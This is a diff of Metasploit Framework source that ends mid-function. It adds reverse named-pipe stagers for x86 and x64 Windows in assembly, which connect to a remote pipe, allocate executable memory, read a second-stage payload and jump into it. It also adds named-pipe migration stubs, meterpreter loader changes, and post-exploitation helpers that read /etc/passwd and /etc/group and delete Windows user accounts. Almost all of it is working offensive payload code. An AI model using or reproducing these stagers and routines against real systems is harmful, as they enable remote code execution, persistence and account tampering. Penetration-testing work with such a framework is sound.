@ -28,7 +28,7 @@ module Payload::Windows::MeterpreterLoader
], ],
'Platform' => 'win', 'Platform' => 'win',
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'PayloadCompat' => { 'Convention' => 'sockedi -https', }, 'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', },
'Stage' => { 'Payload' => "" } 'Stage' => { 'Payload' => "" }
)) ))
end end
@ -53,9 +53,9 @@ module Payload::Windows::MeterpreterLoader
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^ ^
unless opts[:stageless] unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^ asm << %Q^
mov [ebx], edi ; write the current socket to the config mov [ebx], edi ; write the current socket/handle to the config
^ ^
end end
@ -77,13 +77,14 @@ module Payload::Windows::MeterpreterLoader
# create the configuration block, which for staged connections is really simple. # create the configuration block, which for staged connections is really simple.
config_opts = { config_opts = {
arch: opts[:uuid].arch, arch: opts[:uuid].arch,
exitfunk: ds['EXITFUNC'], null_session_guid: opts[:null_session_guid] == true,
expiration: ds['SessionExpirationTimeout'].to_i, exitfunk: ds[:exit_func] || ds['EXITFUNC'],
uuid: opts[:uuid], expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
transports: opts[:transport_config] || [transport_config(opts)], uuid: opts[:uuid],
extensions: [], transports: opts[:transport_config] || [transport_config(opts)],
stageless: opts[:stageless] == true extensions: [],
stageless: opts[:stageless] == true
} }
# create the configuration instance based off the parameters # create the configuration instance based off the parameters

View File

@ -3,3 +3,4 @@
require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/migrate_tcp' require 'msf/core/payload/windows/migrate_tcp'
require 'msf/core/payload/windows/migrate_http' require 'msf/core/payload/windows/migrate_http'
require 'msf/core/payload/windows/migrate_named_pipe'

View File

@ -0,0 +1,47 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/migrate_common'
module Msf
###
#
# Payload that supports migrating over Named Pipe transports on x86.
#
###
module Payload::Windows::MigrateNamedPipe
include Msf::Payload::Windows::MigrateCommon
def initialize(info={})
super(update_info(info,
'Name' => 'Migrate over Named Pipe transport',
'Description' => 'Migration stub to use over Named Pipe transports',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
))
end
#
# Constructs the payload
#
def generate_migrate(opts = {})
%Q^
start_migrate_pipe:
mov edi, [esi+16] ; The duplicated pipe handle is in the migrate context.
signal_pipe_event:
push dword [esi] ; Event handle is pointed at by esi
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
call ebp ; SetEvent(handle)
call_pipe_payload:
call dword [esi+8] ; call the associated payload
^
end
end
end

View File

@ -0,0 +1,287 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/send_uuid'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
module Msf
###
#
# Complex reverse_named_pipe payload generation for Windows ARCH_X86
#
###
module Payload::Windows::ReverseNamedPipe
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::SendUUID
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
#
# Register reverse_named_pipe specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'] || '.',
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_named_pipe(conf)
end
#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
def transport_config(opts={})
transport_config_reverse_named_pipe(opts)
end
#
# Generate and compile the stager
#
def generate_reverse_named_pipe(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_named_pipe(opts)}
^
#"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
space += 29
# Reliability adds some bytes!
space += 44
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_named_pipe(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
reliable = opts[:reliable]
# we have to double-escape because of metasm
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the handle for the pipe to the server
retry_start:
push #{retry_count} ; retry counter
mov esi, esp ; keep track of where the variables are
try_reverse_named_pipe:
; Start by setting up the call to CreateFile
xor ebx, ebx ; EBX will be used for pushing zero
push ebx ; hTemplateFile
push ebx ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition (OPEN_EXISTING)
push ebx ; lpSecurityAttributes
push ebx ; dwShareMode
push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE)
call get_pipe_name
db "#{full_pipe_name}", 0x00
get_pipe_name:
; lpFileName (via call)
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
call ebp ; CreateFileA(...)
; If eax is -1, then we had a failure.
cmp eax, -1 ; -1 means a failure
jnz connected
handle_connect_failure:
; decrement our attempt count and try again
dec [esi]
jnz try_reverse_named_pipe
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
asm << %Q^
; this label is required so that reconnect attempts include
; the UUID stuff if required.
connected:
xchg edi, eax ; edi now has the file handle we'll need in future
^
asm << asm_write_uuid if include_send_uuid
asm << %Q^
; Receive the size of the incoming second stage...
push ebx ; buffer for lpNumberOfBytesRead
mov ecx, esp
push ebx ; buffer for lpBuffer
mov esi, esp
push ebx ; lpOverlapped
push ecx ; lpNumberOfBytesRead
push 4 ; nNumberOfBytesToRead = sizeof( DWORD );
push esi ; lpBuffer
push edi ; hFile
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(...) to read the size
^
if reliable
asm << %Q^
; reliability: check to see if the file read worked, retry otherwise
; if it fails
test eax, eax
jz cleanup_file
mov eax, [esi+4] ; check to see if bytes were read
test eax, eax
jz cleanup_file
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly received second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more:
; prepare the size min(0x10000, esi)
mov ecx, 0x10000 ; stupid named pipe buffer limit
cmp ecx, esi
jle size_is_good
mov ecx, esi
size_is_good:
; Invoke a read
push eax ; space for the number of bytes
mov eax, esp ; store the pointer
push 0 ; lpOverlapped
push eax ; lpNumberOfBytesRead
push ecx ; nNumberOfBytesToRead
push ebx ; lpBuffer
push edi ; hFile
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(...) to read the data
^
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jz read_failed
pop eax ; get the number of bytes read
cmp eax, 0
jnz read_successful
read_failed:
; something failed, free up memory
pop eax ; get the address of the payload
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
push 0 ; dwSize
push eax ; lpAddress
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
cleanup_file:
; clear up the named pipe handle
push edi ; named pipe handle
push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
call ebp ; CloseHandle(...)
; restore the stack back to the connection retry count
pop esi
pop esi
pop esi
dec [esp] ; decrement the counter
; try again
jmp try_reverse_named_pipe
^
else
asm << %Q^
pop eax ; pop bytes read
^
end
asm << %Q^
read_successful:
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end

View File

@ -33,7 +33,7 @@ module Payload::Windows::BindTcp_x64
# Generate the more advanced stager if we have the space # Generate the more advanced stager if we have the space
if self.available_space && required_space <= self.available_space if self.available_space && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC'], conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true conf[:reliable] = true
end end

View File

@ -29,7 +29,7 @@ module Payload::Windows::MeterpreterLoader_x64
], ],
'Platform' => 'win', 'Platform' => 'win',
'Arch' => ARCH_X64, 'Arch' => ARCH_X64,
'PayloadCompat' => { 'Convention' => 'sockrdi' }, 'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' },
'Stage' => { 'Payload' => "" } 'Stage' => { 'Payload' => "" }
)) ))
end end
@ -42,22 +42,23 @@ module Payload::Windows::MeterpreterLoader_x64
push rbp ; save rbp push rbp ; save rbp
mov rbp, rsp ; set up a new stack frame mov rbp, rsp ; set up a new stack frame
sub rsp, 32 ; allocate some space for calls. sub rsp, 32 ; allocate some space for calls.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
; GetPC ; GetPC
call $+5 ; relative call to get location call $+5 ; relative call to get location
pop rbx ; pop return value pop rbx ; pop return value
; Invoke ReflectiveLoader() ; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() ; add the offset to ReflectiveLoader()
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)} add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x15)}
call rbx ; invoke ReflectiveLoader() call rbx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL ; offset from ReflectiveLoader() to the end of the DLL
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^ ^
unless opts[:stageless] unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^ asm << %Q^
; store the comms socket handle ; store the comms socket or handle
mov dword ptr [rbx], edi mov [rbx], rdi
^ ^
end end
@ -79,13 +80,14 @@ module Payload::Windows::MeterpreterLoader_x64
# create the configuration block, which for staged connections is really simple. # create the configuration block, which for staged connections is really simple.
config_opts = { config_opts = {
arch: opts[:uuid].arch, arch: opts[:uuid].arch,
exitfunk: ds['EXITFUNC'], null_session_guid: opts[:null_session_guid] == true,
expiration: ds['SessionExpirationTimeout'].to_i, exitfunk: ds[:exit_func] || ds['EXITFUNC'],
uuid: opts[:uuid], expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
transports: opts[:transport_config] || [transport_config(opts)], uuid: opts[:uuid],
extensions: [], transports: opts[:transport_config] || [transport_config(opts)],
stageless: opts[:stageless] == true extensions: [],
stageless: opts[:stageless] == true
} }
# create the configuration instance based off the parameters # create the configuration instance based off the parameters

View File

@ -3,3 +3,4 @@
require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/migrate_tcp' require 'msf/core/payload/windows/x64/migrate_tcp'
require 'msf/core/payload/windows/x64/migrate_http' require 'msf/core/payload/windows/x64/migrate_http'
require 'msf/core/payload/windows/x64/migrate_named_pipe'

View File

@ -0,0 +1,47 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/migrate_common'
module Msf
###
#
# Payload that supports migrating over Named Pipe transports on x64.
#
###
module Payload::Windows::MigrateNamedPipe_x64
include Msf::Payload::Windows::MigrateCommon_x64
def initialize(info={})
super(update_info(info,
'Name' => 'Migrate over Named Pipe transport (x64)',
'Description' => 'Migration stub to use over Named Pipe transports (x64)',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
))
end
#
# Constructs the payload
#
def generate_migrate(opts = {})
%Q^
start_migrate_pipe:
mov rdi, qword [rsi+16] ; The duplicated pipe handle is in the migrate context.
signal_pipe_event:
mov rcx, qword [rsi] ; Event handle is pointed at by rsi
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
call rbp ; SetEvent(handle)
call_pipe_payload:
call qword [rsi+8] ; call the associated payload
^
end
end
end

View File

@ -0,0 +1,283 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/x64/send_uuid'
require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/exitfunk'
module Msf
###
#
# Complex reverse_named_pipe payload generation for Windows ARCH_X86_64
# ###
module Payload::Windows::ReverseNamedPipe_x64
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::SendUUID_x64
include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
#
# Register reverse_named_pipe specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'],
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_named_pipe(conf)
end
#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
#
# Generate and compile the stager
#
def generate_reverse_named_pipe(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp ; block API pointer
#{asm_reverse_named_pipe(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
def transport_config(opts={})
transport_config_reverse_named_pipe(opts)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
space += 15
# Reliability adds bytes!
space += 57
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_named_pipe(opts={})
#reliable = opts[:reliable]
reliable = false
retry_count = [opts[:retry_count].to_i, 1].max
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
asm = %Q^
; Input: RBP must be the address of 'api_call'
; Output: RDI will be the handle to the named pipe.
retry_start:
push #{retry_count} ; retry counter
pop r14
; Func(rcx, rdx, r8, r9, stack ...)
try_reverse_named_pipe:
call get_pipe_name
db "#{full_pipe_name}", 0x00
get_pipe_name:
pop rcx ; lpFileName
; Start by setting up the call to CreateFile
push 0 ; alignment
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition (OPEN_EXISTING)
xor r9, r9 ; lpSecurityAttributes
xor r8, r8 ; dwShareMode
mov rdx, 0xC0000000 ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE)
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
call rbp ; CreateFileA(...)
; check for failure
cmp rax, -1 ; did it work?
jnz connected
handle_connect_failure:
dec r14 ; decrement the retry count
jnz retry_start
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call rbp
^
end
asm << %Q^
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
xchg rdi, rax ; Save the file handler for later
^
asm << asm_write_uuid if include_send_uuid
asm << %Q^
; Receive the size of the incoming second stage...
push 0 ; buffer for lpNumberOfBytesRead
mov r9, rsp ; lpNumberOfBytesRead
push 0 ; buffer for lpBuffer
mov rsi, rsp ; lpNumberOfBytesRead
push 4 ; sizeof(DWORD)
pop r8 ; nNumberOfBytesToRead
push 0 ; alignment
push 0 ; lpOverlapped
mov rdx, rsi ; lpBuffer
mov rcx, rdi ; hFile
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call rbp ; ReadFile(...)
^
if reliable
asm << %Q^
; reliability: check to see if the received worked, and reconnect
; if it fails
test eax, eax
jz cleanup_file
mov rax, [rsi+8]
test eax, eax
jz cleanup_file
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
add rsp, 0x30 ; slight stack adjustment
pop rsi ; pop off the second stage length
pop rax ; line the stack up again
mov esi, esi ; only use the lower-order 32 bits for the size
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly recieved second stage length.
xor rcx, rcx ; NULL as we dont care where the allocation is.
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
mov rbx, rax ; rbx = our new memory address for the new stage
mov r15, rax ; save the address so we can jump into it later
read_more:
; prepare the size min(0x10000, esi)
mov r8, 0x10000 ; stupid named pipe buffer limit
cmp r8, rsi
jle size_is_good
mov r8, rsi
size_is_good:
; Invoke a read
push 0 ; buffer for lpNumberOfBytesRead
mov r9, rsp ; lpNumberOfBytesRead
mov rdx, rbx ; lpBuffer
push 0 ; lpOverlapped
mov rcx, rdi ; hFile
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call rbp ; ReadFile(...)
add rsp, 0x28 ; slight stack adjustment
^
if reliable
asm << %Q^
; reliability: check to see if the read worked
; if it fails
test eax, eax
jnz read_successful
; something failed so free up memory
pop rax
push r15
pop rcx ; lpAddress
push 0x4000 ; MEM_DECOMMIT
pop r8 ; dwFreeType
push 0 ; 0
pop rdx ; dwSize
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call rbp ; VirtualFree(payload, 0, MEM_DECOMMIT)
cleanup_file:
; clean up the socket
push rdi ; file handle
pop rcx ; hFile
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
call rbp
; and try again
dec r14 ; decrement the retry count
jmp retry_start
^
end
asm << %Q^
read_successful:
pop rax
add rbx, rax ; buffer += bytes_received
sub rsi, rax ; length -= bytes_received
test rsi, rsi ; test length
jnz read_more ; continue if we have more to read
jmp r15 ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end

View File

@ -40,14 +40,17 @@ module Msf::Post::Unix
# #
def get_groups def get_groups
groups = [] groups = []
cmd_out = read_file("/etc/group").split("\n") group = '/etc/group'
cmd_out.each do |l| if file_exist?(group)
entry = {} cmd_out = read_file(group).split("\n")
user_field = l.split(":") cmd_out.each do |l|
entry[:name] = user_field[0] entry = {}
entry[:gid] = user_field[2] user_field = l.split(":")
entry[:users] = user_field[3] entry[:name] = user_field[0]
groups << entry entry[:gid] = user_field[2]
entry[:users] = user_field[3]
groups << entry
end
end end
return groups return groups
end end
@ -59,8 +62,11 @@ module Msf::Post::Unix
user_dirs = [] user_dirs = []
# get all user directories from /etc/passwd # get all user directories from /etc/passwd
read_file("/etc/passwd").each_line do |passwd_line| passwd = '/etc/passwd'
user_dirs << passwd_line.split(/:/)[5] if file_exist?(passwd)
read_file(passwd).each_line do |passwd_line|
user_dirs << passwd_line.split(/:/)[5]
end
end end
# also list other common places for home directories in the event that # also list other common places for home directories in the event that

View File

@ -3,336 +3,342 @@
require 'msf/core/post/windows/error' require 'msf/core/post/windows/error'
module Msf module Msf
class Post class Post
module Windows module Windows
module Accounts
include Msf::Post::Windows::Error
module Accounts GUID = [
include Msf::Post::Windows::Error ['Data1', :DWORD],
['Data2', :WORD],
['Data3', :WORD],
['Data4', 'BYTE[8]']
].freeze
GUID = [ DOMAIN_CONTROLLER_INFO = [
['Data1',:DWORD], ['DomainControllerName', :LPSTR],
['Data2',:WORD], ['DomainControllerAddress', :LPSTR],
['Data3',:WORD], ['DomainControllerAddressType', :ULONG],
['Data4','BYTE[8]'] ['DomainGuid', GUID],
] ['DomainName', :LPSTR],
['DnsForestName', :LPSTR],
['Flags', :ULONG],
['DcSiteName', :LPSTR],
['ClientSiteName', :LPSTR]
].freeze
DOMAIN_CONTROLLER_INFO = [ ##
['DomainControllerName',:LPSTR], # get_domain(server_name = nil)
['DomainControllerAddress',:LPSTR], #
['DomainControllerAddressType',:ULONG], # Summary:
['DomainGuid',GUID], # Retrieves the current DomainName the given server is
['DomainName',:LPSTR], # a member of.
['DnsForestName',:LPSTR], #
['Flags',:ULONG], # Parameters
['DcSiteName',:LPSTR], # server_name - DNS or NetBIOS name of the remote server
['ClientSiteName',:LPSTR] # Returns:
] # The DomainName of the remote server or nil if windows
# could not retrieve the DomainControllerInfo or encountered
# an exception.
#
##
def get_domain(server_name = nil)
domain = nil
result = session.railgun.netapi32.DsGetDcNameA(
server_name,
nil,
nil,
nil,
0,
4
)
## begin
# get_domain(server_name=nil) dc_info_addr = result['DomainControllerInfo']
# unless dc_info_addr == 0
# Summary: dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
# Retrieves the current DomainName the given server is pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
# a member of. domain = session.railgun.util.read_string(pointer)
# end
# Parameters ensure
# server_name - DNS or NetBIOS name of the remote server session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
# Returns: end
# The DomainName of the remote server or nil if windows
# could not retrieve the DomainControllerInfo or encountered
# an exception.
#
##
def get_domain(server_name=nil)
domain = nil
result = session.railgun.netapi32.DsGetDcNameA(
server_name,
nil,
nil,
nil,
0,
4)
begin domain
dc_info_addr = result['DomainControllerInfo'] end
unless dc_info_addr == 0
dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
domain = session.railgun.util.read_string(pointer)
end
ensure
session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
end
domain ##
end # delete_user(username, server_name = nil)
#
# Summary:
# Deletes a user account from the given server (or local if none given)
#
# Parameters
# username - The username of the user to delete (not-qualified, e.g. BOB)
# server_name - DNS or NetBIOS name of remote server on which to delete user
#
# Returns:
# One of the following:
# :success - Everything went as planned
# :invalid_server - The server name provided was invalid
# :not_on_primary - Operation allowed only on domain controller
# :user_not_found - User specified does not exist on the given server
# :access_denied - You do not have permission to delete the given user
#
# OR nil if there was an exceptional Windows error (example: ran out of memory)
#
# Caveats:
# nil is returned if there is an *exceptional* Windows error. That error is printed.
# Everything other than ':success' signifies failure
##
def delete_user(username, server_name = nil)
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
## # http://msdn.microsoft.com/en-us/library/aa370674.aspx
# delete_user(username, server_name = nil) case deletion['return']
# when 2221 # NERR_UserNotFound
# Summary: return :user_not_found
# Deletes a user account from the given server (or local if none given) when 2351 # NERR_InvalidComputer
# return :invalid_server
# Parameters when 2226 # NERR_NotPrimary
# username - The username of the user to delete (not-qualified, e.g. BOB) return :not_on_primary
# server_name - DNS or NetBIOS name of remote server on which to delete user when client.railgun.const('ERROR_ACCESS_DENIED')
# return :access_denied
# Returns: when 0
# One of the following: return :success
# :success - Everything went as planned else
# :invalid_server - The server name provided was invalid error = deletion['GetLastError']
# :not_on_primary - Operation allowed only on domain controller if error != 0
# :user_not_found - User specified does not exist on the given server print_error "Unexpected Windows System Error #{error}"
# :access_denied - You do not have permission to delete the given user else
# # Uh... we shouldn't be here
# OR nil if there was an exceptional windows error (example: ran out of memory) print_error "DeleteUser unexpectedly returned #{deletion['return']}"
# end
# Caveats: end
# nil is returned if there is an *exceptional* windows error. That error is printed.
# Everything other than ':success' signifies failure
##
def delete_user(username, server_name = nil)
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
#http://msdn.microsoft.com/en-us/library/aa370674.aspx # If we got here, then something above failed
case deletion['return'] nil
when 2221 # NERR_UserNotFound end
return :user_not_found
when 2351 # NERR_InvalidComputer
return :invalid_server
when 2226 # NERR_NotPrimary
return :not_on_primary
when client.railgun.const('ERROR_ACCESS_DENIED')
return :access_denied
when 0
return :success
else
error = deletion['GetLastError']
if error != 0
print_error "Unexpected Windows System Error #{error}"
else
# Uh... we shouldn't be here
print_error "DeleteUser unexpectedly returned #{deletion['return']}"
end
end
# If we got here, then something above failed ##
return nil # resolve_sid(sid, system_name = nil)
end #
# Summary:
# Retrieves the name, domain, and type of account for the given sid
#
# Parameters:
# sid - A SID string (e.g. S-1-5-32-544)
# system_name - Where to search. If nil, first local system then trusted DCs
#
# Returns:
# {
# name: account name (e.g. "SYSTEM")
# domain: domain where the account name was found. May have values such as
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
# type: one of :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
# mapped: There was a mapping found for the SID
# }
#
# OR nil if there was an exceptional Windows error (example: ran out of memory)
#
# Caveats:
# If a valid mapping is not found, only { mapped: false } will be returned
# nil is returned if there is an *exceptional* Windows error. That error is printed.
# If an invalid system_name is provided, there will be a Windows error and nil returned
##
def resolve_sid(sid, system_name = nil)
adv = client.railgun.advapi32
# Second param is the size of the buffer where the pointer will be written
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
conversion = adv.ConvertStringSidToSidA(sid, 4)
## # If the call failed, handle errors accordingly.
# resolve_sid(sid, system_name = nil) unless conversion['return']
# error = conversion['GetLastError']
# Summary:
# Retrieves the name, domain, and type of account for the given sid
#
# Parameters:
# sid - A SID string (e.g. S-1-5-32-544)
# system_name - Where to search. If nil, first local system then trusted DCs
#
# Returns:
# {
# :name => account name (e.g. "SYSTEM")
# :domain => domain where the account name was found. May have values such as
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
# :type => one of :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
# :mapped => There was a mapping found for the SID
# }
#
# OR nil if there was an exceptional windows error (example: ran out of memory)
#
# Caveats:
# If a valid mapping is not found, only { :mapped => false } will be returned
# nil is returned if there is an *exceptional* windows error. That error is printed.
# If an invalid system_name is provided, there will be a windows error and nil returned
##
def resolve_sid(sid, system_name = nil)
adv = client.railgun.advapi32;
# Second param is the size of the buffer where the pointer will be written case error
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed. when client.railgun.const('ERROR_INVALID_SID')
conversion = adv.ConvertStringSidToSidA(sid, 4) # An invalid SID was supplied
return { type: :invalid, mapped: false }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { mapped: false }
else
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
return nil
end
end
# If the call failed, handle errors accordingly. psid = conversion['pSid']
unless conversion['return']
error = conversion['GetLastError']
case error # Begin/Ensure so we free the pSid buffer...
when client.railgun.const('ERROR_INVALID_SID') begin
# An invalid SID was supplied # A reference to the SID data structure. Generally needed when working with sids
return { :type => :invalid, :mapped => false }
else
print_error "Unexpected windows error #{error}"
return nil
end
end
psid = conversion['pSid'] # http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
lp_name = lp_referenced_domain_name = 100
cch_name = cch_referenced_domain_name = 100
lookup = adv.LookupAccountSidA(
system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1
)
# Begin/Ensure so we free the pSid buffer... if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
begin lp_name = cch_name = lookup['cchName']
# A reference to the SID data structure. Generally needed when working with sids lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx lookup = adv.LookupAccountSidA(
lp_name = lp_referenced_domain_name = 100 system_name,
cch_name = cch_referenced_domain_name = 100 psid,
lookup = adv.LookupAccountSidA(system_name, lp_name,
psid, cch_name,
lp_name, lp_referenced_domain_name,
cch_name, cch_referenced_domain_name,
lp_referenced_domain_name, 1
cch_referenced_domain_name, )
1)
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER elsif !lookup['return']
lp_name = cch_name = lookup['cchName'] print_error "Unexpected Windows error #{lookup['GetLastError']}"
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName'] return nil
end
ensure
# We no longer need the sid so free it.
adv.FreeSid(psid)
end
lookup = adv.LookupAccountSidA(system_name, # If the call failed, handle errors accordingly.
